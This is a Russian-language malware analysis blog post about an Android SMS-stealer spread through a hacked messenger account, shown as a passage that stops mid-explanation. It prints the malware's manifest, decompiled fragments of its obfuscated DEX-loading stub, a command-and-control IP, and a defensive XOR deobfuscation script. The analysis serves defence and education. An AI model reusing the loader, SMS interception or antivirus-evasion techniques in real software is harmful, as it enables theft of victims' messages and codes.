24 февраля 2026 года в 16 часов по Хабаровскому времени в мессенджере MAX от аккаунта папы приходит сообщения вида "Посмотри, это ты на фото" и следующим сообщением приложен файл "Фото(3).apk". Я сразу же позвонил отцу - интернет отключили, симку вытащили, а на следующий день он сходил в МФЦ и поменял пароль. Файл с вирусом скачать я не смог - через полчаса после этого аккаунт отца удалили за спам, плюс само сообщение я удалил. Но пока файл ещё был, я попросил брата переслать его мне, но скачать я его уже не мог - из-за удаления аккаунта.
Работу пояснительную хоть и проводили, но "был без очков, что-то тыкнул" и установил - когда у тебя телефон от Huawei без гугл сервисов, то все приложения плюс-минус так и ставились. Прошло время - аккаунт через месяц папе дали вновь зарегистрировать, телефон тот мы отложили от греха подальше, выдал свой старый Samsung A50 и про случай забыли. Но одним вечером, когда я лежал в кровати я подумал - "Стоп, если аккаунт восстановили, то и файл я могу скачать?" Зашел в чат с братом, долистал до пересланного сообщения и решил скачать файл вновь. И что вы думаете - я его скачал! Б - Безопасность. А раз файл скачан, то надо его проанализировать - о чём и будет статья.
Ссылки на материалы
Прежде чем начать оставлю список из статей на Хабре, которые освещают данную тему:
https://habr.com/ru/companies/k2tech/articles/879412/ - тут вирус не шифрован, очень повезло
https://habr.com/ru/companies/angarasecurity/articles/959476/
https://habr.com/ru/companies/angarasecurity/articles/973630/
https://habr.com/ru/companies/angarasecurity/articles/992388/
https://habr.com/ru/companies/usergate/articles/1028474/ - очень хорошая статья, я сошлюсь на неё позже.
Первичный осмотр
Первым делом отправляем файл на VirusTotal: https://www.virustotal.com/gui/file/f52786e3662ddf388cf8099e156da186ba6e77f76bf707c4d2d20b4e0f4ae2e8/detection
Когда я закидывал файл, то его распознало всего 18 штук, но уже на момент написания статьи 23 антивируса распознало данный файл. Ключевые моменты, что он encrypted и obfuscated. Это меня и тормознуло на небольшой срок. Во вкладке Behavior нас будет интересовать IP Traffic, а конкретно строка TCP 176.124.222.81:80. Запомним эту строку - она понадобится нам далее. В целом, больше ничего интересного нам нет - большую часть информации мы и так узнаем, когда будем смотреть внутренности APK.
Декомпилируем
Для работы нам понадобится:
APKTool: https://apktool.org/docs/install (https://github.com/iBotPeaches/Apktool).
JADX-GUI: https://github.com/skylot/jadx/releases (я делал под Windows всё, тем более есть комплект сразу с JRE - очень удобно).
OpenCode - будем через ИИ писать деобфускатор.
Качаем утилиты и погнали. Сам файл apk представляет zip архив, но при просмотре в архиваторе AndroidManifest.xml стоит параметр, что он под паролем. Как верно говорилось в статье - это ZIP poisoning (установка бита шифрования (0x0001) в поле general purpose flag для отдельных файлов). APKToolу меня без проблем извлек файлы, начинаем смотреть содержимое.
AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="34" android:compileSdkVersionCodename="14" package="com.reawlme.kcupeyue" platformBuildVersionCode="34" platformBuildVersionName="14"> <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="34"/> <uses-feature android:name="android.hardware.telephony" android:required="false"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/> <uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC"/> <uses-permission android:name="android.permission.POST_NOTIFICATIONS"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/> <uses-permission android:name="android.permission.WAKE_LOCK"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/> <uses-permission android:name="android.permission.CALL_PHONE"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/> <permission android:name="com.reawlme.kcupeyue.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION" android:protectionLevel="signature"/> <uses-permission android:name="com.reawlme.kcupeyue.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"/> <application android:theme="@style/Theme.Defender" android:label="@string/str_ulfvkg" android:icon="@mipmap/ic_launcher" android:name="L16a8154QFmO.L17abc0dQFmO.Lf2dbcccQFmO.Laed1011QFmO" android:allowBackup="false" android:supportsRtl="true" android:extractNativeLibs="false" android:usesCleartextTraffic="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory"> <activity android:theme="@style/Theme.Defender" android:name="com.reawlme.kcupeyue.MainActivity" android:exported="true" android:excludeFromRecents="true" android:launchMode="singleTask"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.INFO"/> </intent-filter> </activity> <activity android:name="com.reawlme.kcupeyue.POIX1UVS23" android:exported="true"> <intent-filter> <action android:name="android.intent.action.SEND"/> <action android:name="android.intent.action.SENDTO"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="sms"/> <data android:scheme="smsto"/> <data android:scheme="mms"/> <data android:scheme="mmsto"/> </intent-filter> </activity> <service android:name="com.reawlme.kcupeyue.POIX1UVS20" android:exported="false"/> <service android:name="com.reawlme.kcupeyue.POIX1UVS22" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" android:exported="true"> <intent-filter> <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/> <category android:name="android.intent.category.DEFAULT"/> <data android:scheme="sms"/> <data android:scheme="smsto"/> <data android:scheme="mms"/> <data android:scheme="mmsto"/> </intent-filter> </service> <service android:name="com.reawlme.kcupeyue.POIX1UVS21" android:enabled="true" android:exported="false" android:foregroundServiceType="dataSync"/> <service android:name="com.reawlme.kcupeyue.POIX1UVS19" android:enabled="true" android:exported="false"/> <receiver android:name="com.reawlme.kcupeyue.POIX1UVS16" android:permission="android.permission.BROADCAST_SMS" android:exported="true"> <intent-filter android:priority="2147483647"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> <action android:name="android.provider.Telephony.SMS_DELIVER"/> </intent-filter> </receiver> <receiver android:name="com.reawlme.kcupeyue.POIX1UVS12" android:permission="android.permission.BROADCAST_WAP_PUSH" android:exported="true"> <intent-filter> <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/> <data android:mimeType="application/vnd.wap.mms-message"/> </intent-filter> </receiver> <receiver android:name="com.reawlme.kcupeyue.POIX1UVS1" android:enabled="true" android:exported="true"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> <action android:name="android.intent.action.MY_PACKAGE_REPLACED"/> <category android:name="android.intent.category.DEFAULT"/> </intent-filter> </receiver> <receiver android:name="com.reawlme.kcupeyue.POIX1UVS18" android:enabled="true" android:exported="false"/> <provider android:name="androidx.startup.InitializationProvider" android:exported="false" android:authorities="com.reawlme.kcupeyue.androidx-startup"> <meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/> <meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/> </provider> <activity android:name="com.truecaller.messaging.conversation.ConversationActivity" android:exported="false" android:screenOrientation="portrait" android:parentActivityName="com.truecaller.ui.TruecallerInit" android:allowEmbedded="true"> <intent-filter> <action android:name="com.truecaller.OPEN_CONVERSATION"/> <category android:name="android.intent.category.DEFAULT"/> </intent-filter> </activity> <activity android:name="edodpwmfjeji.efxosm.dkjskemd" android:enabled="false" android:screenOrientation="portrait"/> <activity android:name="oqzfksq.pqlqf.mrky" android:enabled="false" android:screenOrientation="portrait" android:windowSoftInputMode="adjustResize"/> <receiver android:name="rfjdjdk.djfifjekkd.ciciidkdkf" android:enabled="false"/> <receiver android:name="rfjfidikdf.jfifid.fjfid.fjer" android:enabled="false" android:exported="false"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> <action android:name="android.intent.action.QUICKBOOT_POWERON"/> <action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/> </intent-filter> </receiver> <receiver android:name="ofpfpdlekdjxj.wjdjd.ejdjf.ididr" android:enabled="false"/> <receiver android:name="cfidkd.djjdj.dkdkeiver" android:enabled="false" android:exported="true"> <intent-filter> <action android:name="android.intent.action.PACKAGE_ADDED"/> <data android:scheme="package"/> </intent-filter> </receiver> <receiver android:name="anfjfjfidkd.fkkfkdmde.ivfjfjfer" android:permission="android.permission.DUMP" android:enabled="false" android:exported="true" android:directBootAware="false"> <intent-filter> <action android:name="androidx.work.diagnostics.REQUEST_DIAGNOSTICS"/> </intent-filter> </receiver> <meta-data android:name="android.app.shortcuts" android:value="Maloy"/> <meta-data android:name="com.kaspersky.security.KsConnectService" android:value="DycyX.mb"/> <meta-data android:name="com.kaspersky.security.NewKsConnectService" android:value=".mb"/> </application> </manifest>
Из запрашиваемых разрешений нам сразу понятно, что это
SMS Stealer (RECEIVE_SMS/READ_SMS/SEND_SMS);
работает в автозапуске (RECEIVE_BOOT_COMPLETED);
читает не только СМС, но ещё и контакты (READ_PHONE_STATE/READ_CONTACTS/CALL_PHONE) - для того, чтобы потом рассылать вредоносную ссылку с вирусом;
лезет в интернет (INTERNET/ACCESS_NETWORK_STATE);
работает в фоне и имеет защиту от убийства процесса (FOREGROUND_SERVICE/WAKE_LOCK/SCHEDULE_EXACT_ALARM).
Понятное дело, что при установке всё это написано, но вот в такой ситуации папа внимание на всё это не обратил.
А мы обращаем внимание на следующие строчки:
<receiver android:name="com.reawlme.kcupeyue.POIX1UVS16" android:permission="android.permission.BROADCAST_SMS" android:exported="true"> <intent-filter android:priority="2147483647"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> <action android:name="android.provider.Telephony.SMS_DELIVER"/> </intent-filter> </receiver>
priority=2147483647 - это максимально возможный приоритет в Android, то есть этот ресивер получит SMS раньше любого легитимного приложения.
<meta-data android:name="android.app.shortcuts" android:value="Maloy"/> <meta-data android:name="com.kaspersky.security.KsConnectService" android:value="DycyX.mb"/> <meta-data android:name="com.kaspersky.security.NewKsConnectService" android:value=".mb"/>
DycyX.mb — это упакованный DEX-файл, спрятанный в assets/. Kaspersky-совместимость нужна, чтобы избегать детекта (причем касперский этот вирус не видел пару недель назад, если судить по virustotal).
<activity android:name="com.truecaller.messaging.conversation.ConversationActivity"/>
Здесь пытается "косить" под Truecaller (Определитель номера). В целом, бросающиеся в глаза параметры из XML отмечены, поэтому перейдём к файлам.

Как видно, функции все обфусцированны, но часть информации можно достать.
Файл: app/src/main/java/L16a8154QFmO/L17abc0dQFmO/Lf2dbcccQFmO/Laed1011QFmO.java
Laed1011QFmO.java
package L16a8154QFmO.L17abc0dQFmO.Lf2dbcccQFmO; import L28d0fa2QFmO.L74cd619QFmO.L433156bQFmO; import L28d0fa2QFmO.L74cd619QFmO.L51a4aa6QFmO; import L28d0fa2QFmO.L74cd619QFmO.L778b867QFmO; import L28d0fa2QFmO.L74cd619QFmO.Ldacae8bQFmO; import L28d0fa2QFmO.L74cd619QFmO.Lfb61d19QFmO; import android.app.Application; import android.content.Context; import dalvik.system.BaseDexClassLoader; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.lang.reflect.Field; /* JADX INFO: loaded from: classes.dex */ public class Laed1011QFmO extends Application { public static final String F01425652Tlgx; private static final short[] F48fce10cTlgx; private static Context F53bed25dTlgx; private static final short[] Febab3b5dTlgx = {570,....,} ..... static { String strQ21fbb13ezACV; int iQ968726fazACV = Ldacae8bQFmO.Q968726fazACV(L778b867QFmO.Q985f7048zACV(Febab3b5dTlgx, 0, 3, 1234)); while (true) { switch (iQ968726fazACV) { case 1747841: return; case 1752617: if (L9e63ba2QFmO.F0b0cb632Tlgx / (L0b4c3f2QFmO.F3432883eTlgx + 1172) == 0) { iQ968726fazACV = Lfb61d19QFmO.F0cd5ee95Tlgx + L9e63ba2QFmO.F0b0cb632Tlgx + 1756117; } else { strQ21fbb13ezACV = L778b867QFmO.Q985f7048zACV(Febab3b5dTlgx, 3, 3, 2342); } break; case 1755339: F01425652Tlgx = Ldacae8bQFmO.Q56c5a16bzACV(Q86c4afcbzACV(), 0, L9e63ba2QFmO.F0b0cb632Tlgx ^ 177, 842); if ((Lfb61d19QFmO.F0cd5ee95Tlgx ^ (L51a4aa6QFmO.F6b3ca6d0Tlgx / 2585)) < 0) { strQ21fbb13ezACV = L433156bQFmO.Q21fbb13ezACV(Febab3b5dTlgx, 9, 3, 1974); } else { Lfb61d19QFmO.F0cd5ee95Tlgx = 46; iQ968726fazACV = Ldacae8bQFmO.Q968726fazACV(L434d8b2QFmO.Qdd57eeb5zACV(Febab3b5dTlgx, 6, 3, 1350)); } break; case 1755464: F48fce10cTlgx = new short[]{813, 815, 805, 789, 825, 830, 811, 830, 815, 868, 814, 811, 830, 652, 687, 686, 679, 652, 687, 673, 676, 3668, 3648, 3660, 3634, 3653, 3636, 2645, 3650, 3653, 3658, 3638, 3636, 3639, 3661, 3639, 3636, 3642, 2645, 3653, 3660, 3658, 3661, 3662, 3659, 3654, 3654, 3648, 3637, 1150, 1117, 1116, 1109, 1150, 1117, 1107, 1110, 2103, 2066, 2079, 2079, 2073, 2156, 3084, 2078, 2157, 2073, 3084, 2157, 2072, 2073, 2071, 2076, 2071, 2192, 2197, 2200, 2178, 2205, 2207, 2266, 2183, 2189, 2183, 2176, 2193, 2201, 2266, 2230, 2197, 2183, 2193, 2224, 2193, 2188, 2231, 2200, 2197, 2183, 2183, 2232, 2203, 2197, 2192, 2193, 2182, 1001, 1016, 1005, 1009, 981, 1008, 1002, 1005, 732, 733, 704, 765, 724, 733, 725, 733, 726, 716, 715, 2722, 2688, 2698, 2757, 2695, 2692, 2699, 2699, 2688, 2689}; iQ968726fazACV = (L51a4aa6QFmO.F6b3ca6d0Tlgx / L51a4aa6QFmO.F6b3ca6d0Tlgx) + 1755338; continue; } iQ968726fazACV = L51a4aa6QFmO.Qcd2f7be1zACV(strQ21fbb13ezACV); } } public Laed1011QFmO() { /* Method dump skipped, instruction units count: 336 To view this dump change 'Code comments level' option to 'DEBUG' */ throw new UnsupportedOperationException("Method not decompiled: L16a8154QFmO.L17abc0dQFmO.Lf2dbcccQFmO.Laed1011QFmO.<init>():void"); } @Override // android.content.ContextWrapper protected void attachBaseContext(Context context) { String strQ985f7048zACV; ClassLoader classLoaderQ4afda25dzACV; Object objQ99889ed5zACV; String strQcbbc1254zACV; String strQ94a7add9zACV; File file; Object[] objArr; int length; ClassLoader classLoaderQ4afda25dzACV2; String strQdd57eeb5zACV; String strQ90df6790zACV; Object obj; InputStream inputStreamQ5b2fde78zACV; File file2; String strQ985f7048zACV2; Object objQ99889ed5zACV2; Field fieldQ07e9ffc0zACV; String strQcbbc1254zACV2; String strQdd57eeb5zACV2; Object obj2; String strQ21fbb13ezACV; Object[] objArr2; String strQ90df6790zACV2; String str = null; String str2 = null; int i = 0; File file3 = null; InputStream inputStream = null; BaseDexClassLoader baseDexClassLoader = null; String str3 = null; File file4 = null; ClassLoader classLoader = null; ClassLoader classLoader2 = null; Field field = null; Object obj3 = null; Object obj4 = null; Object[] objArr3 = null; Object[] objArr4 = null; int i2 = 0; int i3 = 0; Object obj5 = null; int iQde8db453zACV = L9e63ba2QFmO.Qde8db453zACV(L778b867QFmO.Q985f7048zACV(Febab3b5dTlgx, 439, 3, 2991)); Field field2 = null; File file5 = null; File file6 = null; FileOutputStream fileOutputStream = null; while (true) { switch (iQde8db453zACV) { ..... case 1749728: L0b4c3f2QFmO.Qdf390e38zACV(context); BaseDexClassLoader baseDexClassLoader2 = new BaseDexClassLoader(str3, file4, null, classLoader); if (L0b4c3f2QFmO.F3432883eTlgx / (L9e63ba2QFmO.F0b0cb632Tlgx ^ (-6593)) == 0) { strQdd57eeb5zACV2 = L433156bQFmO.Q21fbb13ezACV(Febab3b5dTlgx, 448, 3, 1561); baseDexClassLoader = baseDexClassLoader2; obj2 = obj3; obj3 = obj2; iQde8db453zACV = Ldacae8bQFmO.Q968726fazACV(strQdd57eeb5zACV2); } else { Ldacae8bQFmO.Fac2bad8fTlgx = 69; baseDexClassLoader = baseDexClassLoader2; iQde8db453zACV = L9e63ba2QFmO.Qde8db453zACV(L433156bQFmO.Q21fbb13ezACV(Febab3b5dTlgx, 445, 3, 3205)); } break; case 1753604: super.attachBaseContext(context); iQde8db453zACV = (L51a4aa6QFmO.F6b3ca6d0Tlgx % Lfb61d19QFmO.F0cd5ee95Tlgx) ^ 1752152; break;
Класс Laed1011QFmO — это Application-класс стаба-загрузчика (в манифесте это строка android:name="L16a8154QFmO.L17abc0dQFmO.Lf2dbcccQFmO.Laed1011QFmO"). В указанном выше case 1749728 BaseDexClassLoader используется для динамической загрузки DEX во время выполнения - это по сути лоадер. А вот в case 1753604 вызывается метод attachBaseContext().
Когда идёт переопределение attachBaseContext в каком-то классе (например, в активности или в своём подклассе Application), обычно создаётся обёртка вокруг переданного Context через вспомогательный класс и затем вызывается super.attachBaseContext() с этой обёрткой (в нашем случае с переданным context). Внутри метода система проверяет: если базовый контекст уже был задан, выбрасывается исключение IllegalStateException - после этого все вызовы к текущему контексту делегируются обёрнутому объекту. Если сказать ещё проще - одно приложение вызывает внутри себя другое приложение.
Метод attachBaseContext() делает следующее:
Читает индикатор версии из файла в code cache:
// Laed1011QFmO.java:124 File file2 = new File(Ldacae8bQFmO.Q78cc340bzACV(context), Ldacae8bQFmO.Q28cadd5bzACV()); // = new File(context.getFilesDir(), "имя_файла")
Копирует
DycyX.mbиз assets:
// Laed1011QFmO.java:561 inputStream = Ldacae8bQFmO.Q5b2fde78zACV( Ldacae8bQFmO.Qb7f94f15zACV(context), // context.getAssets() L0b4c3f2QFmO.Qeeb18469zACV() // "DycyX.mb" );
Загружает DEX через BaseDexClassLoader
Подменяет class loader через рефлексивный доступ к
ClassLoader.pathList.dexElements
// Laed1011QFmO.java:576-578 L51a4aa6QFmO.Q342c7838zACV(field2, true); // field.setAccessible(true) Object[] objArr5 = (Object[]) L0b4c3f2QFmO.Q99889ed5zACV(field2, obj3); // field.get(obj)
Если посмотреть на данный класс, то можно выделить 3 техники обфускации кода
Техника |
Суть |
Место в коде |
Control Flow Flattening |
Исходный код разбивается на базовые блоки, находящиеся на одном уровне вложенности. Каждый блок получает уникальный номер или идентификатор. Это можно увидеть в следующей структуре — while(true) { switch(hash) } |
Все методы в Laed1011QFmO.java. Вот этот большой case и реализует данную технику. |
XOR-строки |
Строки закодированы в |
Массивы |
Рефлексивные вызовы |
API-вызовы обёрнуты в методы-прокладки с проверками |
Классы |
Для примера Control Flow Flattening посмотрим ещё раз начало файла:
static { int iQ968726fazACV = Ldacae8bQFmO.Q968726fazACV( L778b867QFmO.Q985f7048zACV(Febab3b5dTlgx, 0, 3, 1234) ); while (true) { switch (iQ968726fazACV) { case 1747841: return; case 1752617: ... case 1755339: ... case 1755464: ... } iQ968726fazACV = L51a4aa6QFmO.Qcd2f7be1zACV(strQ21fbb13ezACV); } }
Вызов метода Q985f7048zACV(Febab3b5dTlgx, 0, 3, 1234) декодирует 3-символьную строку из массива Febab3b5dTlgx (оффсет 0, длина 3) с ключом 1234. Затем Q968726fazACV() берёт hashCode() декодированной строки, и этот хеш становится номером case в switch. Из-за этого невозможно предсказать порядок выполнения без эмуляции.
А где же тогда расшифровываются эти строки? А всё просто - в файле app/src/main/java/L16a8154QFmO/L17abc0dQFmO/Lf2dbcccQFmO/L0b4c3f2QFmO.javaесть следующий код:
//строки 258-264 public static String Qcbbc1254zACV(short[] sArr, int i, int i2, int i3) { char[] cArr = new char[i2]; for (int i4 = 0; i4 < i2; i4++) { cArr[i4] = (char) (sArr[i + i4] ^ i3); } return new String(cArr); }
А в app/src/main/java/L28d0fa2QFmO/L74cd619QFmO/L51a4aa6QFmO.java есть похожий метод по своей структуре:
//строки 189-195 public static String Qdc2b7ffazACV(short[] sArr, int i, int i2, int i3) { char[] cArr = new char[i2]; for (int i4 = 0; i4 < i2; i4++) { cArr[i4] = (char) (sArr[i + i4] ^ i3); } return new String(cArr); }
В этих методах используется общая формула - (char)(short_array[offset + i] ^ key). Все похожие методы делают одно и то же (XOR), но находятся в разных классах.
На данном моменте я уже подключил ИИ - настроил OpenCode (с подключенным платным API Deepseek V4 Pro) и натравил на папку проекта с простым промтом вида "Есть обфусцированный код, написанный на java - нужен скрипт для деобфускации" и уточнением, что нашёл в коде. Если бы я не воспользовался им, я бы писал статью дольше или вообще не дописал)
Пару минут размышлений и у меня есть уже готовый скрипт:
decode_malware.py
#!/usr/bin/env python3 """ Deobfuscator for Android Banking Trojan encrypted strings. Extracts and decodes XOR-obfuscated short[] arrays from JADX-decompiled Java source. Decoding formula: (char)(short_array[i] ^ key) Usage: python decode_malware.py --jadx-dir ./payload_jadx # parse JADX output python decode_malware.py --jadx-dir . --scan-arrays # find all arrays first python decode_malware.py --jadx-dir . --bruteforce # brute-force keys python decode_malware.py --jadx-dir . --export-json out # export decoded to JSON """ import re import sys import os import json import argparse from collections import defaultdict # ─── Known static field values ────────────────────────────────────── FIELDS = { "F3432883eTlgx": -486, # L0b4c3f2QFmO "F0b0cb632Tlgx": 188, # L9e63ba2QFmO "Fac2bad8fTlgx": -437, # Ldacae8bQFmO "F6b3ca6d0Tlgx": 467, # L51a4aa6QFmO "F0cd5ee95Tlgx": 46, # Lfb61d19QFmO } # ─── Core decode function ─────────────────────────────────────────── def xor_decode(arr, offset, length, key): """Decode segment: (char)((short)arr[offset+i] ^ key).""" chars = [] for i in range(length): val = arr[offset + i] # Emulate Java signed short if val > 32767: val = val - 65536 char_code = (val ^ key) & 0xFFFF chars.append(chr(char_code)) return ''.join(chars) def is_printable(s): """Check if all chars are printable ASCII or common Unicode letters.""" for c in s: o = ord(c) if o < 32 or o > 126: if o < 0x0400 or o > 0x04FF: # not Cyrillic either return False return True # ─── Parser for JADX Java files ───────────────────────────────────── def parse_java_file(filepath): """Parse a JADX-decompiled Java file and return arrays + calls.""" with open(filepath, 'r', encoding='utf-8', errors='replace') as f: content = f.read() arrays = {} calls = [] # Extract short[] arrays: short[] Name = {1, 2, ...}; # Match multi-line definitions too block_pattern = re.compile( r'(?:private|public|static|final|\s)*short\[\]\s+(\w+)\s*=\s*\{([^}]+)\}', re.DOTALL ) for match in block_pattern.finditer(content): name = match.group(1) raw = match.group(2) # Remove whitespace and comments raw = re.sub(r'/\*.*?\*/', '', raw) raw = re.sub(r'//.*', '', raw) values = [] for v in raw.split(','): v = v.strip() if v: try: values.append(int(v)) except ValueError: pass if values: arrays[name] = values # Extract static-init assignments: F48fce10cTlgx = new short[]{...}; init_pattern = re.compile( r'(\w+)\s*=\s*new\s+short\[\]\s*\{([^}]+)\}', re.DOTALL ) for match in init_pattern.finditer(content): name = match.group(1) raw = match.group(2) raw = re.sub(r'/\*.*?\*/', '', raw) raw = re.sub(r'//.*', '', raw) values = [] for v in raw.split(','): v = v.strip() if v: try: values.append(int(v)) except ValueError: pass if values: arrays[name] = values # Extract decode calls: Qcbbc1254zACV(ArrayName, offset, length, keyExpr) call_pattern = re.compile( r'(Q[a-zA-Z0-9]+)\((\w+),\s*(\d+),\s*(\d+),\s*([^)]+)\)' ) for match in call_pattern.finditer(content): fn = match.group(1) arr_name = match.group(2) offset = int(match.group(3)) length = int(match.group(4)) key_expr = match.group(5).strip() calls.append({ 'function': fn, 'array_ref': arr_name, 'offset': offset, 'length': length, 'key_expr': key_expr, 'file': os.path.basename(filepath), }) return arrays, calls def compute_key_expr(expr): """Try to evaluate a key expression like 'Lxyz.Fabc ^ 180'.""" for field, value in FIELDS.items(): expr = expr.replace(field, str(value)) # Remove class prefixes expr = re.sub(r'\w+\.', '', expr) try: return eval(expr, {"__builtins__": {}}, {}) except: return None # ─── Array scanner ───────────────────────────────────────────────── def scan_arrays(all_arrays, all_calls): """Smart scan: find keys that produce readable strings for each array.""" print(f"\n{'='*60}") print(f"SMART DECODING: {len(all_arrays)} arrays, {len(all_calls)} calls") print(f"{'='*60}") results = [] for arr_full_name, arr in all_arrays.items(): arr_name_short = arr_full_name.split("::")[-1] if not arr or len(arr) < 3: continue # Strategy 1: Use key expressions from calls that reference this array for call in all_calls: if call['array_ref'] == arr_name_short: key = compute_key_expr(call['key_expr']) if key is not None and call['offset'] + call['length'] <= len(arr): s = xor_decode(arr, call['offset'], call['length'], key) if is_printable(s): results.append({ 'string': s, 'array': arr_full_name, 'key': key, 'key_expr': call['key_expr'], 'offset': call['offset'], 'length': call['length'], 'file': call['file'], }) # Strategy 2: Brute-force segments that look like they contain # sequential printable chars best_key, best_count = find_best_key(arr, min_len=2) if best_count >= 3: decoded = decode_full_array(arr, best_key) # Show max 80 chars results.append({ 'string': decoded[:120], 'array': arr_full_name, 'key': best_key, 'key_expr': f'bruteforce(best={best_count} printable)', 'offset': 0, 'length': len(arr), 'file': '(auto)', }) # Print results (handle Windows console encoding) seen = set() for r in results: s = r['string'] if s and s not in seen: seen.add(s) k = r['key'] print(f" [{r['array']}]") print(f" key={k:5d} (0x{k&0xFFFF:04x}) len={r['length']:4d} offset={r['offset']:4d}") try: print(f" => \"{s}\"") except UnicodeEncodeError: # Fallback: show hex hex_repr = ' '.join(f'{ord(c):04x}' for c in s) print(f" => [hex] {hex_repr}") print() return results def find_best_key(arr, min_len=2): """Find the XOR key that maximizes printable chars across the array.""" best_key = 0 best_count = 0 for key in range(0, 65536): count = 0 for val in arr: if val > 32767: val -= 65536 c = (val ^ key) & 0xFFFF if 32 <= c <= 126 or 0x0400 <= c <= 0x04FF: count += 1 if count > best_count: best_count = count best_key = key # Early exit if perfect if best_count == len(arr): break return best_key, best_count def decode_full_array(arr, key): """Decode entire array with a given key.""" chars = [] for val in arr: if val > 32767: val -= 65536 c = (val ^ key) & 0xFFFF chars.append(chr(c) if 32 <= c <= 65535 else f'\\u{c:04x}') return ''.join(chars) # ─── Brute-force mode ────────────────────────────────────────────── def brute_force_all(all_arrays): """Try all keys 0-65535 and report arrays that decode to readable text.""" print(f"\n{'='*60}") print(f"BRUTE-FORCE MODE: {len(all_arrays)} arrays") print(f"{'='*60}") for arr_full_name, arr in all_arrays.items(): if len(arr) < 3: continue best_key, best_count = find_best_key(arr) if best_count >= len(arr) * 0.7 and best_count >= 5: decoded = decode_full_array(arr, best_key)[:200] print(f"\n[{arr_full_name}] len={len(arr)}, printable={best_count}/{len(arr)}") print(f" key={best_key} (0x{best_key&0xFFFF:04x})") print(f" \"{decoded}\"") # ─── Main pipeline ───────────────────────────────────────────────── def process_jadx_dir(jadx_dir, mode='smart'): """Walk JADX directory, parse all Java files, decode strings.""" if not os.path.isdir(jadx_dir): print(f"[!] Not a directory: {jadx_dir}") return [] all_arrays = {} all_calls = [] file_count = 0 for root, dirs, files in os.walk(jadx_dir): for fname in files: if fname.endswith('.java'): fpath = os.path.join(root, fname) rel = os.path.relpath(fpath, jadx_dir) try: arrs, calls = parse_java_file(fpath) for name, vals in arrs.items(): all_arrays[f"{rel}::{name}"] = vals all_calls.extend(calls) file_count += 1 except Exception as e: print(f" [skip] {fname}: {e}") print(f"Parsed {file_count} files: {len(all_arrays)} arrays, {len(all_calls)} calls") if mode == 'scan': # Just list arrays and their sizes for name, arr in sorted(all_arrays.items(), key=lambda x: -len(x[1])): if len(arr) >= 10: print(f" {name} ({len(arr)} items)") return [] if mode == 'bruteforce': return brute_force_all(all_arrays) if mode == 'smart': return scan_arrays(all_arrays, all_calls) return [] # ─── CLI ──────────────────────────────────────────────────────────── if __name__ == "__main__": # Force UTF-8 output on Windows if sys.platform == 'win32': import io sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8', errors='replace') sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8', errors='replace') parser = argparse.ArgumentParser( description="Decode XOR-obfuscated strings from Android malware JADX output" ) parser.add_argument("--jadx-dir", default=".", help="JADX decompiled output directory") parser.add_argument("--mode", choices=["smart", "bruteforce", "scan"], default="smart", help="Decoding mode") parser.add_argument("--export-json", help="Export decoded strings to JSON file") args = parser.parse_args() results = process_jadx_dir(args.jadx_dir, args.mode) if args.export_json and results: with open(args.export_json, 'w', encoding='utf-8') as f: json.dump(results, f, indent=2, ensure_ascii=False) print(f"Exported {len(results)} strings to {args.export_json}") if not results: print("\nTip: For extracting string URLs from payload.dex:") print(" 1. Decompile payload.dex with: jadx -d payload_jadx payload.dex") print(" 2. Run: python decode_malware.py --jadx-dir payload_jadx --mode bruteforce") print(" 3. Run: python decode_malware.py --jadx-dir payload_jadx --mode smart")
В начале каждого класса используются следующие статические поля:
Поле |
Начальное значение |
Класс:строка в коде |
F3432883eTlgx |
-486 |
L0b4c3f2QFmO.java:28 |
F0b0cb632Tlgx |
188 |
L9e63ba2QFmO.java:22 |
Fac2bad8fTlgx |
-437 |
Ldacae8bQFmO.java:28 |
F6b3ca6d0Tlgx |
467 |
L51a4aa6QFmO.java:24 |
F0cd5ee95Tlgx |
46 |
Lfb61d19QFmO |
Ключи вычисляются динамически, например L9e63ba2QFmO.F0b0cb632Tlgx ^ 180 в файлеapp/src/main/java/L16a8154QFmO/L17abc0dQFmO/Lf2dbcccQFmO/Laed1011QFmO.java :
